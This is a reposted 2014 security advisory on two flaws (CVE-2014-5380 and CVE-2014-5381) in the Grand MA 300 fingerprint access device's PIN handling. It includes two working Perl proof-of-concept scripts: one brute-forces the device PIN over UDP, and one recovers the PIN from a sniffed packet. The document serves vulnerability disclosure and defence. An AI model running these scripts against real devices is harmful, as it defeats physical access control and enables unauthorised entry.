Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31064
HistoryAug 26, 2014 - 12:00 a.m.

LSE Leading Security Experts GmbH - LSE-2014-07-13 - Granding Grand MA 300 - Weak Pin Verification

2014-08-2600:00:00
vulners.com
153

=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===

Grand MA 300 Fingerprint Reader - Weak Pin Verification

Affected Versions

Grand MA 300/ID with firmware 6.60

Issue Overview

Vulnerability Type: Weak Pin Verification
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Granding
Vendor URL: http://www.granding.com/productdetail/46/.aspx
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt
Advisory Status: Public
CVE-Number: CVE-2014-5380 and CVE-2014-5381
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381

Impact

A weakness was found in the Grand MA 300 fingerprint access control
device, which allows the retrieval of the access pin from
sniffed data (CVE-2014-5380), as well as a weakness, which allows a
fast brute-force attack on the pin (CVE-2014-5381).

Issue Description

The cipher do encode the pin inside the network or wigand traffic
contains a flaw which allows to retrieve the pin an weakens the
resitance against brute-force attacks.

Temporary Workaround and Fix

Due to the proprietary nature of the product, we are unable
to provide a fix. As a workarount disable the devices entirely
or make sure no physical access to the ethernet or wigand interfaces
are possible.

Proof of Concept

The following perl script shows the weak pin encoding,
and allows a bruteforce.

---------------------8<-------------------------------
#!/usr/bin/perl

This brute-forces the pin of a Grand MA 300 Fingerprint

Access device in less than 5 minutes, if the pin

is between 1 and 4294967296.

written by Eric Sesterhenn <[email protected]>

http://www.lsexperts.de

use IO::Socket::INET;
use strict;
use warnings;

sub hexd {
my ($data) = @;
my $ret = "";
for (my $i=0; $i<length($data); $i++) {
$ret .= sprintf "%X", ord(substr($data, $i, 1));
}
return $ret;
}
sub getword {
my ($data, $offset) = @
;
my $ret = 0;

    $ret = ord&#40;substr&#40;$data, $offset, 1&#41;&#41;;
    $ret += 0x100 * ord&#40;substr&#40;$data, $offset+1, 1&#41;&#41;;
    return $ret;

}

sub makeword {
my ($value) = @_;

    my $ret = chr&#40;&#40;$value &amp; 0xFF&#41;&#41; . chr&#40;&#40;&#40;$value &gt;&gt; 8&#41; &amp; 0xFF&#41;&#41;;

    return $ret;

}

sub calccrc {
my ($packet) = @_;
# we pad with zero for packets of uneven length
my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);
my $crc = 0;

    # the crc is the sum of all words in the packet
    for &#40;my $i = 0; $i&lt;length&#40;$packet&#41; - 2; $i += 2&#41; {
            $crc += getword&#40;$newpacket, $i&#41;;
    }

    # if the result is to big, we add the high bits to the lower bits
    while &#40;$crc &gt; 0xFFFF&#41; {
            $crc = &#40;$crc &amp; 0xFFFF&#41; + &#40;$crc &gt;&gt; 0x10&#41;;
    }

    # negate the checksum
    $crc = ~$crc &amp; 0xFFFF;
    return $crc;

}

sub makepacket {
my ($type, $cid, $seqno, $data) = @_;
my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);
return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;
}

sub calcpass {
my ($pin, $cid) = @_;
my $ret = 0;

# revert the bits
for &#40;my $i = 0; $i &lt; 32; $i++&#41; {
  $ret *= 2;
  if &#40;$pin &amp; 1&#41; {
    $ret = $ret + 1;
  }
  $pin = $pin / 2;
}

$ret += $cid;

# xor with magic value
$ret ^= 0x4F534B5A;

# switch the words
$ret = &#40;&#40;$ret &amp; 0xFFFF&#41; &lt;&lt; 16&#41; + &#40;$ret &gt;&gt; 16&#41;;

# xor all, but third byte with last byte of gettickcount
my $gc = 0x00;
$ret ^= $gc + &#40;$gc &lt;&lt; 8&#41; + &#40;$gc &lt;&lt; 24&#41;;

# set third byte to last byte of gettickcount
# this weakens the algorithm even further, since this byte
    # is no longer relevant to the algorithm
$ret = &#40;$ret &amp; 0xFF000000&#41; + &#40;$gc &lt;&lt; 16&#41; + &#40;$ret &amp; 0xFFFF&#41;;

return $ret;

}

flush after every write

local $| = 1;

my ($socket,$client_socket);

creating object interface of IO::Socket::INET modules which internally creates

socket, binds and connects to the TCP server running on the specific port.

my $data;
$socket = new IO::Socket::INET (
PeerHost => '192.168.1.201', # CHANGEME
PeerPort => '4370',
Proto => 'udp',
) or die "ERROR in Socket Creation : $!\n";

initialize the connection

$socket->send(makepacket(1000, 0, 0, ""));
$socket->recv($data, 1024);

my $typ = getword($data, 0);
my $cid = getword($data, 4);
if ($typ != 2005) {
printf("Client does not need a password");
exit(-1);
}

for (my $i = 0; $i < 65536; $i++) {
if (($i % 10) == 0) { printf "$i\n"; }
my $pass = calcpass($i, $cid);
$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));

$socket-&gt;recv&#40;$data, 1024&#41;;
$typ = getword&#40;$data, 0&#41;;
if &#40;$typ == 2000&#41; {
	printf&#40;&quot;Found pin: &#37;d&#92;n&quot;, $i&#41;;
	exit&#40;0&#41;;
}

}

disconnect

$socket->send(makepacket(1001, $cid, 2, ""));

$socket->close();
---------------------8<-------------------------------

The following proof of concept shows how to reverse
the pin from a captured packet.

---------------------8<-------------------------------
#!/usr/bin/perl

This script calculates the original pin based on the pin

retrieved on the wire for the Grand MA 300 fingerprint access device

look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the

encoded pin

written by Eric Sesterhenn <[email protected]>

http://www.lsexperts.de

use warnings;
use strict;

my $cid = 0; # connection id
my $ret = 0x4B00A987; # pin on the wire

get gettickcount value (third byte)

my $gc = ($ret >> 16) & 0xFF;

set third byte to magic value (so it becomes zero when we xor it later with the magic value)

$ret = $ret | 0x005A0000;

xor all, but third byte with last byte of gettickcount

$ret ^= $gc + ($gc << 8) + ($gc << 24);

switch the words

$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

xor with magic value

$ret ^= 0x4F534B5A;

substract the connection id

$ret -= $cid;

my $fin = 0;

revert the bits

for (my $i = 0; $i < 32; $i++) {
$fin *= 2;
if ($ret & 1) {
$fin = $fin + 1;
}
$ret = $ret / 2;
}

printf("final: %X \n", $fin);
---------------------8<-------------------------------

History

2014-07-13 Issue discovered
2014-08-18 Vendor notified
2014-08-20 CWE IDs assigned
2014-08-25 Advisory released

Related for SECURITYVULNS:DOC:31064